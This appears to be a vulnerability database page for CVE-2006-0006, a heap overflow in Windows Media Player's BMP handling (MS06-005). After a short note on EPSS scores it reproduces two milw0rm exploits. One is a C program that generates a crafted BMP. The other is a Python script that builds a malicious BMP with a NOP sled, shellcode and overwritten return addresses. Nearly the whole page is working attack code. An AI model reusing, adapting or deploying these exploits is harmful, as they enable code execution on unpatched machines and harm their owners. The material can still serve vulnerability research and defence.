CVE-2006-0006 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* * For Remote Exploration (hint): * http://www.spyinstructors.com/atmaca/research/wmp_remote_poc.asx */ /* * * Windows Media Player BMP Heap Overflow (MS06-005) * Bug discovered by eEye - http://www.eeye.com/html/research/advisories/AD20060214.html * Exploit coded by ATmaCA * Web: http://www.spyinstructors.com && http://www.atmacasoft.com * E-Mail: [email protected] * Credit to Kozan * */ /* * * Systems Affected: * Microsoft Windows Media Player 7.1 through 10 * * Windows NT 4.0 * Windows 98 / ME * Windows 2000 SP4 * Windows XP SP1 / SP2 * Windows 2003 * * */ /* * * In this vulnerability,payload is loaded to different places in memory each time. * but some time is very easy to call our shell code : * http://www.spyinstructors.com/atmaca/research/wmp.JPG * but some times not =) because of ,no shell this time * */ /* * * Microsoft has released a patch for this vulnerability. * The patch is available at: * http://www.microsoft.com/technet/security/bulletin/ms06-005.mspx * */ #include <windows.h> #include <stdio.h> #define BITMAP_FILE_SIZE 0xA8D2 #define BITMAP_FILE_NAME "crafted.bmp" #pragma pack( push ) #pragma pack( 1 ) // bitmap file format - http://atlc.sourceforge.net/bmp.html //File information header provides general information about the file typedef struct _BitmapFileHeader { WORD bfType; DWORD bfSize; WORD bfReserved1; WORD bfReserved2; DWORD bfOffBits; } BMPFHEADER; //Bitmap information header provides information specific to the image data typedef struct _BitmapInfoHeader{ DWORD biSize; LONG biWidth; LONG biHeight; WORD biPlanes; WORD biBitCount; DWORD biCompression; DWORD biSizeImage; LONG biXPelsPerMeter; LONG biYPelsPerMeter; DWORD biClrUsed; DWORD biClrImportant; } BMPIHEADER; #pragma pack( pop ) int main(void) { FILE *File; BMPFHEADER *bmp_fheader; BMPIHEADER *bmp_iheader; char *pszBuffer; printf("\nWindows Media Player BMP Heap Overflow (MS06-005)"); printf("\nBug discovered by eEye"); printf("\nExploit coded by ATmaCA"); printf("\nWeb: http://www.spyinstructors.com && http://www.atmacasoft.com"); printf("\nE-Mail: [email protected]"); printf("\nCredit to Kozan"); if ( (File = fopen(BITMAP_FILE_NAME,"w+b")) == NULL ) { printf("\n [E:] fopen()"); exit(1); } bmp_fheader=(BMPFHEADER*)malloc(sizeof(BMPFHEADER)); bmp_iheader=(BMPIHEADER*)malloc(sizeof(BMPIHEADER)); pszBuffer = (char*)malloc(BITMAP_FILE_SIZE); memset(pszBuffer,0x41,BITMAP_FILE_SIZE); bmp_fheader->bfType = 0x4D42; // "BM" bmp_fheader->bfSize = BITMAP_FILE_SIZE; bmp_fheader->bfReserved1 = 0x00; bmp_fheader->bfReserved2 = 0x00; // eEye - MAGIC // Antiviruses will get the signature from here!!! bmp_fheader->bfOffBits = 0x00; //( sizeof(BMPFHEADER) + sizeof(BMPIHEADER) ); bmp_iheader->biSize = 0x28; bmp_iheader->biWidth = 0x91; bmp_iheader->biHeight = 0x63; bmp_iheader->biPlanes = 0x01; bmp_iheader->biBitCount = 0x18; bmp_iheader->biCompression = 0x00; bmp_iheader->biSizeImage = 0xA89C; bmp_iheader->biXPelsPerMeter = 0x00; bmp_iheader->biYPelsPerMeter = 0x00; bmp_iheader->biClrUsed = 0x00; bmp_iheader->biClrImportant = 0x00; memcpy(pszBuffer,bmp_fheader,sizeof(BMPFHEADER)); memcpy(pszBuffer+sizeof(BMPFHEADER),bmp_iheader,sizeof(BMPIHEADER)); fwrite(pszBuffer, BITMAP_FILE_SIZE-1, 1,File); fwrite("\x00", 1,1, File); //Terminator fclose(File); printf("\n\n" BITMAP_FILE_NAME" has been created in the current directory.\n"); return 1; } // milw0rm.com [2006-02-15]

# sploit creater by [email protected] # ms06-005 advisory proof of concept # heap overflow in wmf.dll @ 0x0035920a # denial of service, cuz we can't get this to play nice #shamelessly stolen from CANVAS code def intel_order(i): str="" a=chr(i % 256) i=i >> 8 b=chr(i % 256) i=i >> 8 c=chr(i % 256) i=i >> 8 d=chr(i % 256) str+="%c%c%c%c" % (a,b,c,d) return str def stroverwrite(instring,overwritestring,offset): head=instring[:offset] #print head tail=instring[offset+len(overwritestring):] #print tail result=head+overwritestring+tail return result #options #SEH HAndle #anything with a call/jmp edi/ecx + 4 or more EIP=0x75e1692c # call edi +20 for win2k pro eng in oleaut DUMMY=0xccccccccL filename = "rbl4ck-06-005.bmp" header = "\x42\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x28\x00" header += "\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x04\x00\x00\x00" header += "\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x01\x00\x04\x00\x00\x00" header += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xCC" c0de = "\x90" * 350 c0de += "\xCD\x03" c0de += "\xEB\x61\x56\x6A\x30\x59\x64\x8B\x01\x8B\x40\x0C" c0de += "\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\xC3\x60\x8B\x6C" c0de += "\x24\x24\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B" c0de += "\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x34\x49\x8B\x34" c0de += "\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0\x74" c0de += "\x07\xC1\xCF\x0D\x01\xC7\xEB\xF4\x3B\x7C\x24\x28" c0de += "\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B" c0de += "\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\x89\x44\x24" c0de += "\x1C\x61\xC3\xE8\x9A\xFF\xFF\xFF\x68\x98\xFE\x8A" c0de += "\x0E\x50\xE8\xA2\xFF\xFF\xFF\xEB\x02\xEB\x05\xE8" c0de += "\xF9\xFF\xFF\xFF\x5B\x83\xC3\x1C\x33\xC9\x88\x0B" c0de += "\x83\xEB\x0B\x41\x51\x53\xFF\xD0\x90\x6E\x6F\x74" c0de += "\x65\x70\x61\x64\x2E\x65\x78\x65\x01" #tag c0de += "0wn3dbyr3ds4nd" for on in range(256): c0de += intel_order(EIP-80) body = "" r=0x88888800L for on in range(235): r+=0x01L body += intel_order(r) body += c0de body = stroverwrite(body,intel_order(EIP-4),56) body = stroverwrite(body,intel_order(EIP),96) body = stroverwrite(body,intel_order(EIP),160) body = stroverwrite(body,intel_order(EIP-0x3c),708) body = stroverwrite(body,intel_order(EIP),828) body = stroverwrite(body,intel_order(EIP),868) body = stroverwrite(body,intel_order(EIP),936) # #here's our call eax+4 body = stroverwrite(body,intel_order(EIP-4),948) # # body = stroverwrite(body,intel_order(EIP),300) print "MS06-005 Heap Overflow by redsand [at] blacksecurity.org" print "Writing filename " + filename + "..." try: fsock = open(filename, "wb+", 0) try: fsock.write(header + body ); finally: fsock.close() except IOError: pass print "success." # milw0rm.com [2006-02-16]